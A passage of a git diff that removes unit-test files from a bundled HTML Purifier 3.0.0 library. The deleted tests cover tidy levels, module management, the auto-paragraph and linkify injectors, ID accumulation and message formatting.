'HTML.TidyLevel' => 'heavy' - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-1' => $lf1, - 'light-fix-2' => $lf2, - 'medium-fix-1' => $mf1, - 'medium-fix-2' => $mf2, - 'heavy-fix-1' => $hf1, - 'heavy-fix-2' => $hf2 - ))); - $module->construct($config); - - // fine grained tuning - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'none', - 'HTML.TidyAdd' => array('light-fix-1', 'medium-fix-1') - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-1' => $lf1, - 'medium-fix-1' => $mf1 - ))); - $module->construct($config); - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'medium', - 'HTML.TidyRemove' => array('light-fix-1', 'medium-fix-1') - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-2' => $lf2, - 'medium-fix-2' => $mf2 - ))); - $module->construct($config); - - // done - - $module->tally(); - - } - - function test_makeFixesForLevel() { - - $module = new HTMLPurifier_HTMLModule_Tidy(); - $module->defaultLevel = 'heavy'; - - $module->makeFixesForLevel(array( - 'fix-1' => 0, - 'fix-2' => 1, - 'fix-3' => 2 - )); - - $this->assertIdentical($module->fixesForLevel['heavy'], array('fix-1', 'fix-2', 'fix-3')); - $this->assertIdentical($module->fixesForLevel['medium'], array()); - $this->assertIdentical($module->fixesForLevel['light'], array()); - - } - function test_makeFixesForLevel_undefinedLevel() { - - $module = new HTMLPurifier_HTMLModule_Tidy(); - $module->defaultLevel = 'bananas'; - - $this->expectError('Default level bananas does not exist'); - - $module->makeFixesForLevel(array( - 'fix-1' => 0 - )); - - } - - function test_getFixType() { - - // syntax needs documenting - - $module = new HTMLPurifier_HTMLModule_Tidy(); - - $this->assertIdentical( - $module->getFixType('a'), - array('tag_transform', array('element' => 'a')) - ); - - $this->assertIdentical( - $module->getFixType('a@href'), - $reuse = array('attr_transform_pre', array('element' => 'a', 'attr' => 'href')) - ); - - $this->assertIdentical( - $module->getFixType('a@href#pre'), - $reuse - ); - - $this->assertIdentical( - $module->getFixType('a@href#post'), - array('attr_transform_post', array('element' => 'a', 'attr' => 'href')) - ); - - $this->assertIdentical( - $module->getFixType('xml:foo@xml:bar'), - array('attr_transform_pre', array('element' => 'xml:foo', 'attr' => 'xml:bar')) - ); - - $this->assertIdentical( - $module->getFixType('blockquote#child'), - array('child', array('element' => 'blockquote')) - ); - - $this->assertIdentical( - $module->getFixType('@lang'), - array('attr_transform_pre', array('attr' => 'lang')) - ); - - $this->assertIdentical( - $module->getFixType('@lang#post'), - array('attr_transform_post', array('attr' => 'lang')) - ); - - } - - function test_populate() { - - $i = 0; - - $module = new HTMLPurifier_HTMLModule_Tidy(); - $module->populate(array( - 'element' => $element = $i++, - 'element@attr' => $attr = $i++, - 'element@attr#post' => $attr_post = $i++, - 'element#child' => $child = $i++, - 'element#content_model_type' => $content_model_type = $i++, - '@attr' => $global_attr = $i++, - '@attr#post' => $global_attr_post = $i++ - )); - - $module2 = new HTMLPurifier_HTMLModule_Tidy(); - $e =& $module2->addBlankElement('element'); - $e->attr_transform_pre['attr'] = $attr; - $e->attr_transform_post['attr'] = $attr_post; - $e->child = $child; - $e->content_model_type = $content_model_type; - $module2->info_tag_transform['element'] = $element; - $module2->info_attr_transform_pre['attr'] = $global_attr; - $module2->info_attr_transform_post['attr'] = $global_attr_post; - - $this->assertEqual($module, $module2); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleHarness.php deleted file mode 100644 index 8ca2df3..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleHarness.php +++ /dev/null @@ -1,13 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/Core.php'; - -class HTMLPurifier_HTMLModuleHarness extends HTMLPurifier_StrategyHarness -{ - function setup() { - parent::setup(); - $this->obj = new HTMLPurifier_Strategy_Core(); - } -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleManagerTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleManagerTest.php deleted file mode 100644 index 9367f76..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleManagerTest.php +++ /dev/null @@ -1,107 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModuleManager.php'; - -class HTMLPurifier_HTMLModuleManagerTest extends HTMLPurifier_Harness -{ - - function test_addModule() { - $manager = new HTMLPurifier_HTMLModuleManager(); - $manager->doctypes->register('Blank'); // doctype normally is blank... - - $attrdef_nmtokens = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - - generate_mock_once('HTMLPurifier_AttrDef'); - $attrdef = new HTMLPurifier_AttrDefMock(); - $attrdef->setReturnValue('make', $attrdef_nmtokens); - $manager->attrTypes->info['NMTOKENS'] =& $attrdef; - - // ...but we add user modules - - $common_module = new HTMLPurifier_HTMLModule(); - $common_module->name = 'Common'; - $common_module->attr_collections['Common'] = array('class' => 'NMTOKENS'); - $common_module->content_sets['Flow'] = 'Block | Inline'; - $manager->addModule($common_module); - - $structural_module = new HTMLPurifier_HTMLModule(); - $structural_module->name = 'Structural'; - $structural_module->addElement('p', true, 'Block', 'Inline', 'Common'); - $structural_module->addElement('div', false, 'Block', 'Flow'); - $manager->addModule($structural_module); - - $formatting_module = new HTMLPurifier_HTMLModule(); - $formatting_module->name = 'Formatting'; - $formatting_module->addElement('em', true, 'Inline', 'Inline', 'Common'); - $manager->addModule($formatting_module); - - $config = HTMLPurifier_Config::createDefault(); - $config->set('HTML', 'Trusted', false); - $config->set('HTML', 'CustomDoctype', 'Blank'); - - $manager->setup($config); - - $p = new HTMLPurifier_ElementDef(); - $p->attr['class'] = $attrdef_nmtokens; - $p->child = new HTMLPurifier_ChildDef_Optional(array('em', '#PCDATA')); - $p->content_model = 'em | #PCDATA'; - $p->content_model_type = 'optional'; - $p->descendants_are_inline = true; - $p->safe = true; - - $em = new HTMLPurifier_ElementDef(); - $em->attr['class'] = $attrdef_nmtokens; - $em->child = new HTMLPurifier_ChildDef_Optional(array('em', '#PCDATA')); - $em->content_model = 'em | #PCDATA'; - $em->content_model_type = 'optional'; - $em->descendants_are_inline = true; - $em->safe = true; - - $this->assertEqual( - array('p' => $p, 'em' => $em), - $manager->getElements() - ); - - // test trusted parameter override - - $div = new HTMLPurifier_ElementDef(); - $div->child = new HTMLPurifier_ChildDef_Optional(array('p', 'div', 'em', '#PCDATA')); - $div->content_model = 'p | div | em | #PCDATA'; - $div->content_model_type = 'optional'; - $div->descendants_are_inline = false; - $div->safe = false; - - $this->assertEqual($div, $manager->getElement('div', true)); - - } - - function testAllowedModules() { - - $manager = new HTMLPurifier_HTMLModuleManager(); - $manager->doctypes->register( - 'Fantasy Inventory 1.0', true, - array('Weapons', 'Magic') - ); - - // register these modules so it doesn't blow up - $weapons_module = new HTMLPurifier_HTMLModule(); - $weapons_module->name = 'Weapons'; - $manager->registerModule($weapons_module); - - $magic_module = new HTMLPurifier_HTMLModule(); - $magic_module->name = 'Magic'; - $manager->registerModule($magic_module); - - $config = HTMLPurifier_Config::create(array( - 'HTML.CustomDoctype' => 'Fantasy Inventory 1.0', - 'HTML.AllowedModules' => 'Weapons' - )); - $manager->setup($config); - - $this->assertTrue( isset($manager->modules['Weapons'])); - $this->assertFalse(isset($manager->modules['Magic'])); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleTest.php deleted file mode 100644 index ace5805..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/HTMLModuleTest.php +++ /dev/null @@ -1,149 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; -require_once 'HTMLPurifier/AttrDef.php'; - -class HTMLPurifier_HTMLModuleTest extends HTMLPurifier_Harness -{ - - function test_addElementToContentSet() { - - $module = new HTMLPurifier_HTMLModule(); - - $module->addElementToContentSet('b', 'Inline'); - $this->assertIdentical($module->content_sets, array('Inline' => 'b')); - - $module->addElementToContentSet('i', 'Inline'); - $this->assertIdentical($module->content_sets, array('Inline' => 'b | i')); - - } - - function test_addElement() { - - $module = new HTMLPurifier_HTMLModule(); - $def =& $module->addElement( - 'a', true, 'Inline', 'Optional: #PCDATA', array('Common'), - array( - 'href' => 'URI' - ) - ); - - $module2 = new HTMLPurifier_HTMLModule(); - $def2 = new HTMLPurifier_ElementDef(); - $def2->safe = true; - $def2->content_model = '#PCDATA'; - $def2->content_model_type = 'optional'; - $def2->attr = array( - 'href' => 'URI', - 0 => array('Common') - ); - $module2->info['a'] = $def2; - $module2->elements = array('a'); - $module2->content_sets['Inline'] = 'a'; - - $this->assertIdentical($module, $module2); - $this->assertIdentical($def, $def2); - $this->assertReference($def, $module->info['a']); - - } - - function test_parseContents() { - - $module = new HTMLPurifier_HTMLModule(); - - // pre-defined templates - $this->assertIdentical( - $module->parseContents('Inline'), - array('optional', 'Inline | #PCDATA') - ); - $this->assertIdentical( - $module->parseContents('Flow'), - array('optional', 'Flow | #PCDATA') - ); - $this->assertIdentical( - $module->parseContents('Empty'), - array('empty', '') - ); - - // normalization procedures - $this->assertIdentical( - $module->parseContents('optional: a'), - array('optional', 'a') - ); - $this->assertIdentical( - $module->parseContents('OPTIONAL :a'), - array('optional', 'a') - ); - $this->assertIdentical( - $module->parseContents('Optional: a'), - array('optional', 'a') - ); - - // others - $this->assertIdentical( - $module->parseContents('Optional: a | b | c'), - array('optional', 'a | b | c') - ); - - // object pass-through - generate_mock_once('HTMLPurifier_AttrDef'); - $this->assertIdentical( - $module->parseContents(new HTMLPurifier_AttrDefMock()), - array(null, null) - ); - - } - - function test_mergeInAttrIncludes() { - - $module = new HTMLPurifier_HTMLModule(); - - $attr = array(); - $module->mergeInAttrIncludes($attr, 'Common'); - $this->assertIdentical($attr, array(0 => array('Common'))); - - $attr = array('a' => 'b'); - $module->mergeInAttrIncludes($attr, array('Common', 'Good')); - $this->assertIdentical($attr, array('a' => 'b', 0 => array('Common', 'Good'))); - - } - - function test_addBlankElement() { - - $module = new HTMLPurifier_HTMLModule(); - $def =& $module->addBlankElement('a'); - - $def2 = new HTMLPurifier_ElementDef(); - $def2->standalone = false; - - $this->assertReference($module->info['a'], $def); - $this->assertIdentical($def, $def2); - - } - - function test_makeLookup() { - - $module = new HTMLPurifier_HTMLModule(); - - $this->assertIdentical( - $module->makeLookup('foo'), - array('foo' => true) - ); - $this->assertIdentical( - $module->makeLookup(array('foo')), - array('foo' => true) - ); - - $this->assertIdentical( - $module->makeLookup('foo', 'two'), - array('foo' => true, 'two' => true) - ); - $this->assertIdentical( - $module->makeLookup(array('foo', 'two')), - array('foo' => true, 'two' => true) - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Harness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Harness.php deleted file mode 100644 index 34164bc..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Harness.php +++ /dev/null @@ -1,76 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIParser.php'; - -/** - * All-use harness, use this rather than SimpleTest's - */ -class HTMLPurifier_Harness extends UnitTestCase -{ - - function HTMLPurifier_Harness() { - parent::UnitTestCase(); - } - - protected $config, $context; - - /** - * Generates easily accessible default config/context - */ - function setUp() { - list($this->config, $this->context) = $this->createCommon(); - } - - /** - * Accepts config and context and prepares them into a valid state - * @param &$config Reference to config variable - * @param &$context Reference to context variable - */ - function prepareCommon(&$config, &$context) { - $config = HTMLPurifier_Config::create($config); - if (!$context) $context = new HTMLPurifier_Context(); - } - - /** - * Generates default configuration and context objects - * @return Defaults in form of array($config, $context) - */ - function createCommon() { - return array(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context); - } - - /** - * Normalizes a string to Unix (\n) endings - */ - function normalize(&$string) { - $string = str_replace(array("\r\n", "\r"), "\n", $string); - } - - /** - * If $expect is false, ignore $result and check if status failed. - * Otherwise, check if $status if true and $result === $expect. - * @param $status Boolean status - * @param $result Mixed result from processing - * @param $expect Mixed expectation for result - */ - function assertEitherFailOrIdentical($status, $result, $expect) { - if ($expect === false) { - $this->assertFalse($status, 'Expected false result, got true'); - } else { - $this->assertTrue($status, 'Expected true result, got false'); - $this->assertIdentical($result, $expect); - } - } - - function getTests() { - // __onlytest makes only one test get triggered - foreach (get_class_methods(get_class($this)) as $method) { - if (strtolower(substr($method, 0, 10)) == '__onlytest') { - return array($method); - } - } - return parent::getTests(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/IDAccumulatorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/IDAccumulatorTest.php deleted file mode 100644 index c6249ec..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/IDAccumulatorTest.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -require_once 'HTMLPurifier/IDAccumulator.php'; - -class HTMLPurifier_IDAccumulatorTest extends HTMLPurifier_Harness -{ - - function test() { - - // initialize the accumulator - $accumulator = new HTMLPurifier_IDAccumulator(); - - $this->assertTrue( $accumulator->add('id1')); - $this->assertTrue( $accumulator->add('id2')); - $this->assertFalse($accumulator->add('id1')); // repeated id - - // you can also access the properties (they're public) - $this->assertTrue( isset($accumulator->ids['id2']) ); - - } - - function testLoad() { - - $accumulator = new HTMLPurifier_IDAccumulator(); - - $accumulator->load(array('id1', 'id2', 'id3')); - - $this->assertFalse($accumulator->add('id1')); // repeated id - $this->assertTrue($accumulator->add('id4')); - - } - - function testBuild() { - $this->config->set('Attr', 'IDBlacklist', array('foo')); - $accumulator = HTMLPurifier_IDAccumulator::build($this->config, $this->context); - $this->assertTrue( isset($accumulator->ids['foo']) ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/AutoParagraphTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/AutoParagraphTest.php deleted file mode 100644 index 5c726a1..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/AutoParagraphTest.php +++ /dev/null @@ -1,380 +0,0 @@ -<?php - -require_once 'HTMLPurifier/InjectorHarness.php'; -require_once 'HTMLPurifier/Injector/AutoParagraph.php'; - -class HTMLPurifier_Injector_AutoParagraphTest extends HTMLPurifier_InjectorHarness -{ - - function setup() { - parent::setup(); - $this->config->set('AutoFormat', 'AutoParagraph', true); - } - - function testSingleParagraph() { - $this->assertResult( - 'Foobar', - '<p>Foobar</p>' - ); - } - - function testSingleMultiLineParagraph() { - $this->assertResult( -'Par 1 -Par 1 still', -'<p>Par 1 -Par 1 still</p>' - ); - } - - function testTwoParagraphs() { - $this->assertResult( -'Par1 - -Par2', - '<p>Par1</p><p>Par2</p>' - ); - } - - function testTwoParagraphsWithLotsOfSpace() { - $this->assertResult( -'Par1 - - - -Par2', - '<p>Par1</p><p>Par2</p>' - ); - } - - function testTwoParagraphsWithInlineElements() { - $this->assertResult( -'<b>Par1</b> - -<i>Par2</i>', - '<p><b>Par1</b></p><p><i>Par2</i></p>' - ); - } - - function testSingleParagraphThatLooksLikeTwo() { - $this->assertResult( -'<b>Par1 - -Par2</b>', -'<p><b>Par1 - -Par2</b></p>' - ); - } - - function testAddParagraphAdjacentToParagraph() { - $this->assertResult( - 'Par1<p>Par2</p>', - '<p>Par1</p><p>Par2</p>' - ); - } - - function testParagraphUnclosedInlineElement() { - $this->assertResult( - '<b>Par1', - '<p><b>Par1</b></p>' - ); - } - - function testPreservePreTags() { - $this->assertResult( -'<pre>Par1 - -Par1</pre>' - ); - } - - function testIgnoreTrailingWhitespace() { - $this->assertResult( -'Par1 - - ', -'<p>Par1</p>' - ); - } - - function testDoNotParagraphBlockElements() { - $this->assertResult( -'Par1 - -<div>Par2</div> - -Par3', -'<p>Par1</p><div>Par2</div><p>Par3</p>' - ); - } - - function testParagraphTextAndInlineNodes() { - $this->assertResult( -'Par<b>1</b>', - '<p>Par<b>1</b></p>' - ); - } - - function testIgnoreLeadingWhitespace() { - $this->assertResult( -' - -Par', - '<p>Par</p>' - ); - } - - function testIgnoreSurroundingWhitespace() { - $this->assertResult( -' - -Par - -', - '<p>Par</p>' - ); - } - - function testParagraphInsideBlockNode() { - $this->assertResult( -'<div>Par1 - -Par2</div>', - '<div><p>Par1</p><p>Par2</p></div>' - ); - } - - function testParagraphInlineNodeInsideBlockNode() { - $this->assertResult( -'<div><b>Par1</b> - -Par2</div>', - '<div><p><b>Par1</b></p><p>Par2</p></div>' - ); - } - - function testNoParagraphWhenOnlyOneInsideBlockNode() { - $this->assertResult('<div>Par1</div>'); - } - - function testParagraphTwoInlineNodesInsideBlockNode() { - $this->assertResult( -'<div><b>Par1</b> - -<i>Par2</i></div>', - '<div><p><b>Par1</b></p><p><i>Par2</i></p></div>' - ); - } - - function testPreserveInlineNodesInPreTag() { - $this->assertResult( -'<pre><b>Par1</b> - -<i>Par2</i></pre>' - ); - } - - function testSplitUpInternalsOfPTagInBlockNode() { - $this->assertResult( -'<div><p>Foo - -Bar</p></div>', - '<div><p>Foo</p><p>Bar</p></div>' - ); - } - - function testSplitUpInlineNodesInPTagInBlockNode() { - $this->assertResult( -'<div><p><b>Foo</b> - -<i>Bar</i></p></div>', - '<div><p><b>Foo</b></p><p><i>Bar</i></p></div>' - ); - } - - function testNoParagraphSingleInlineNodeInBlockNode() { - $this->assertResult( '<div><b>Foo</b></div>' ); - } - - function testParagraphInBlockquote() { - $this->assertResult( -'<blockquote>Par1 - -Par2</blockquote>', - '<blockquote><p>Par1</p><p>Par2</p></blockquote>' - ); - } - - function testNoParagraphBetweenListItem() { - $this->assertResult( -'<ul><li>Foo</li> - -<li>Bar</li></ul>' - ); - } - - function testParagraphSingleElementWithSurroundingSpace() { - $this->assertResult( -'<div> - -Bar - -</div>', - '<div><p>Bar</p></div>' - ); - } - - function testIgnoreExtraSpaceWithLeadingInlineNode() { - $this->assertResult( -'<b>Par1</b>a - - - -Par2', - '<p><b>Par1</b>a</p><p>Par2</p>' - ); - } - - function testAbsorbExtraEndingPTag() { - $this->assertResult( -'Par1 - -Par2</p>', - '<p>Par1</p><p>Par2</p>' - ); - } - - function testAbsorbExtraEndingDivTag() { - $this->assertResult( -'Par1 - -Par2</div>', - '<p>Par1</p><p>Par2</p>' - ); - } - - function testDoNotParagraphSingleSurroundingSpaceInBlockNode() { - $this->assertResult( -'<div> -Par1 -</div>' - ); - } - - function testBlockNodeTextDelimeterInBlockNode() { - $this->assertResult( -'<div>Par1 - -<div>Par2</div></div>', -'<div><p>Par1</p><div>Par2</div></div>' - ); - } - - function testBlockNodeTextDelimeterWithoutDoublespaceInBlockNode() { - $this->assertResult( -'<div>Par1 -<div>Par2</div></div>' - ); - } - - function testBlockNodeTextDelimeterWithoutDoublespace() { - $this->assertResult( -'Par1 -<div>Par2</div>', -'<p>Par1 -</p><div>Par2</div>' - ); - } - - function testTwoParagraphsOfTextAndInlineNode() { - $this->assertResult( -'Par1 - -<b>Par2</b>', -'<p>Par1</p><p><b>Par2</b></p>' - ); - } - - function testLeadingInlineNodeParagraph() { - $this->assertResult( -'<img /> Foo', -'<p><img /> Foo</p>' - ); - } - - function testTrailingInlineNodeParagraph() { - $this->assertResult( -'<li>Foo <a>bar</a></li>' - ); - } - - function testTwoInlineNodeParagraph() { - $this->assertResult( -'<li><b>baz</b><a>bar</a></li>' - ); - } - - function testNoParagraphTrailingBlockNodeInBlockNode() { - $this->assertResult( -'<div><div>asdf</div><b>asdf</b></div>' - ); - } - - function testParagraphTrailingBlockNodeWithDoublespaceInBlockNode() { - $this->assertResult( -'<div><div>asdf</div> - -<b>asdf</b></div>', -'<div><div>asdf</div><p><b>asdf</b></p></div>' - ); - } - - function testParagraphTwoInlineNodesAndWhitespaceNode() { - $this->assertResult( -'<b>One</b> <i>Two</i>', -'<p><b>One</b> <i>Two</i></p>' - ); - } - - function testNoParagraphWithInlineRootNode() { - $this->config->set('HTML', 'Parent', 'span'); - $this->assertResult( -'Par - -Par2' - ); - } - - function testInlineAndBlockTagInDivNoParagraph() { - $this->assertResult( - '<div><code>bar</code> mmm <pre>asdf</pre></div>' - ); - } - - function testInlineAndBlockTagInDivNeedingParagraph() { - $this->assertResult( -'<div><code>bar</code> mmm - -<pre>asdf</pre></div>', -'<div><p><code>bar</code> mmm</p><pre>asdf</pre></div>' - ); - } - - function testTextInlineNodeTextThenDoubleNewlineNeedsParagraph() { - $this->assertResult( -'<div>asdf <code>bar</code> mmm - -<pre>asdf</pre></div>', -'<div><p>asdf <code>bar</code> mmm</p><pre>asdf</pre></div>' - ); - } - - function testErrorNeeded() { - $this->config->set('HTML', 'Allowed', 'b'); - $this->expectError('Cannot enable AutoParagraph injector because p is not allowed'); - $this->assertResult('<b>foobar</b>'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/LinkifyTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/LinkifyTest.php deleted file mode 100644 index 777cac9..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/LinkifyTest.php +++ /dev/null @@ -1,48 +0,0 @@ -<?php - -require_once 'HTMLPurifier/InjectorHarness.php'; -require_once 'HTMLPurifier/Injector/Linkify.php'; - -class HTMLPurifier_Injector_LinkifyTest extends HTMLPurifier_InjectorHarness -{ - - function setup() { - parent::setup(); - $this->config->set('AutoFormat', 'Linkify', true); - } - - function testLinkifyURLInRootNode() { - $this->assertResult( - 'http://example.com', - '<a href="http://example.com">http://example.com</a>' - ); - } - - function testLinkifyURLInInlineNode() { - $this->assertResult( - '<b>http://example.com</b>', - '<b><a href="http://example.com">http://example.com</a></b>' - ); - } - - function testBasicUsageCase() { - $this->assertResult( - 'This URL http://example.com is what you need', - 'This URL <a href="http://example.com">http://example.com</a> is what you need' - ); - } - - function testIgnoreURLInATag() { - $this->assertResult( - '<a>http://example.com/</a>' - ); - } - - function testNeeded() { - $this->config->set('HTML', 'Allowed', 'b'); - $this->expectError('Cannot enable Linkify injector because a is not allowed'); - $this->assertResult('http://example.com/'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php deleted file mode 100644 index 309733f..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php +++ /dev/null @@ -1,61 +0,0 @@ -<?php - -require_once 'HTMLPurifier/InjectorHarness.php'; -require_once 'HTMLPurifier/Injector/PurifierLinkify.php'; - -class HTMLPurifier_Injector_PurifierLinkifyTest extends HTMLPurifier_InjectorHarness -{ - - function setup() { - parent::setup(); - $this->config->set('AutoFormat', 'PurifierLinkify', true); - $this->config->set('AutoFormatParam', 'PurifierLinkifyDocURL', '#%s'); - } - - function testNoTriggerCharacer() { - $this->assertResult('Foobar'); - } - - function testTriggerCharacterInIrrelevantContext() { - $this->assertResult('20% off!'); - } - - function testPreserveNamespace() { - $this->assertResult('%Core namespace (not recognized)'); - } - - function testLinkifyBasic() { - $this->assertResult( - '%Namespace.Directive', - '<a href="#Namespace.Directive">%Namespace.Directive</a>' - ); - } - - function testLinkifyWithAdjacentTextNodes() { - $this->assertResult( - 'This %Namespace.Directive thing', - 'This <a href="#Namespace.Directive">%Namespace.Directive</a> thing' - ); - } - - function testLinkifyInBlock() { - $this->assertResult( - '<div>This %Namespace.Directive thing</div>', - '<div>This <a href="#Namespace.Directive">%Namespace.Directive</a> thing</div>' - ); - } - - function testPreserveInATag() { - $this->assertResult( - '<a>%Namespace.Directive</a>' - ); - } - - function testNeeded() { - $this->config->set('HTML', 'Allowed', 'b'); - $this->expectError('Cannot enable PurifierLinkify injector because a is not allowed'); - $this->assertResult('%Namespace.Directive'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/InjectorHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/InjectorHarness.php deleted file mode 100644 index 1b20b12..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/InjectorHarness.php +++ /dev/null @@ -1,15 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/MakeWellFormed.php'; - -class HTMLPurifier_InjectorHarness extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_MakeWellFormed(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageFactoryTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageFactoryTest.php deleted file mode 100644 index 2cadb1c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageFactoryTest.php +++ /dev/null @@ -1,51 +0,0 @@ -<?php - -require_once 'HTMLPurifier/LanguageFactory.php'; - -class HTMLPurifier_LanguageFactoryTest extends HTMLPurifier_Harness -{ - - function test() { - - $factory = HTMLPurifier_LanguageFactory::instance(); - - $config = HTMLPurifier_Config::create(array('Core.Language' => 'en')); - $context = new HTMLPurifier_Context(); - $language = $factory->create($config, $context); - - $this->assertIsA($language, 'HTMLPurifier_Language'); - $this->assertIdentical($language->code, 'en'); - - // lazy loading test - $this->assertIdentical(count($language->messages), 0); - $language->load(); - $this->assertNotEqual(count($language->messages), 0); - - // actual tests for content can be found in LanguageTest - - } - - function testFallback() { - - $factory = HTMLPurifier_LanguageFactory::instance(); - - $config = HTMLPurifier_Config::create(array('Core.Language' => 'en-x-test')); - $context = new HTMLPurifier_Context(); - - $language = $factory->create($config, $context); - - $this->assertIsA($language, 'HTMLPurifier_Language_en_x_test'); - $this->assertIdentical($language->code, 'en-x-test'); - - $language->load(); - - // test overloaded message - $this->assertIdentical($language->getMessage('HTMLPurifier'), 'HTML Purifier X'); - - // test inherited message - $this->assertIdentical($language->getMessage('LanguageFactoryTest: Pizza'), 'Pizza'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageTest.php deleted file mode 100644 index d31a273..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/LanguageTest.php +++ /dev/null @@ -1,80 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Language.php'; - -/** - * @todo Fix usage of HTMLPurifier_Language->_loaded using something else - */ -class HTMLPurifier_LanguageTest extends HTMLPurifier_Harness -{ - - protected $lang; - - function generateEnLanguage() { - $factory = HTMLPurifier_LanguageFactory::instance(); - $config = HTMLPurifier_Config::create(array('Core.Language' => 'en')); - $context = new HTMLPurifier_Context(); - return $factory->create($config, $context); - } - - function test_getMessage() { - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - $lang = new HTMLPurifier_Language($config, $context); - $lang->_loaded = true; - $lang->messages['HTMLPurifier'] = 'HTML Purifier'; - $this->assertIdentical($lang->getMessage('HTMLPurifier'), 'HTML Purifier'); - $this->assertIdentical($lang->getMessage('LanguageTest: Totally non-existent key'), '[LanguageTest: Totally non-existent key]'); - } - - function test_formatMessage() { - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - $lang = new HTMLPurifier_Language($config, $context); - $lang->_loaded = true; - $lang->messages['LanguageTest: Error'] = 'Error is $1 on line $2'; - $this->assertIdentical($lang->formatMessage('LanguageTest: Error', array(1=>'fatal', 32)), 'Error is fatal on line 32'); - } - - function test_formatMessage_tokenParameter() { - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - $generator = new HTMLPurifier_Generator(); // replace with mock if this gets icky - $context->register('Generator', $generator); - $lang = new HTMLPurifier_Language($config, $context); - $lang->_loaded = true; - $lang->messages['LanguageTest: Element info'] = 'Element Token: $1.Name, $1.Serialized, $1.Compact, $1.Line'; - $lang->messages['LanguageTest: Data info'] = 'Data Token: $1.Data, $1.Serialized, $1.Compact, $1.Line'; - $this->assertIdentical($lang->formatMessage('LanguageTest: Element info', - array(1=>new HTMLPurifier_Token_Start('a', array('href'=>'http://example.com'), 18))), - 'Element Token: a, <a href="http://example.com">, <a>, 18'); - $this->assertIdentical($lang->formatMessage('LanguageTest: Data info', - array(1=>new HTMLPurifier_Token_Text('data>', 23))), - 'Data Token: data>, data&gt;, data&gt;, 23'); - } - - function test_listify() { - $lang = $this->generateEnLanguage(); - $this->assertEqual($lang->listify(array('Item')), 'Item'); - $this->assertEqual($lang->listify(array('Item', 'Item2')), 'Item and Item2'); - $this->assertEqual($lang->listify(array('Item', 'Item2', 'Item3')), 'Item, Item2 and Item3'); - } - - function test_formatMessage_arrayParameter() { - $lang = $this->generateEnLanguage(); - - $array = array('Item1', 'Item2', 'Item3'); - $this->assertIdentical( - $lang->formatMessage('LanguageTest: List', array(1=>$array)), - 'Item1, Item2 and Item3' - ); - - $array = array('Key1' => 'Value1', 'Key2' => 'Value2'); - $this->assertIdentical( - $lang->formatMessage('LanguageTest: Hash', array(1=>$array)), - 'Key1 and Key2; Value1 and Value2' - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLexTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Lexer/DirectLexTest.php deleted file mode 100644 index fb8f822..0000000 --- 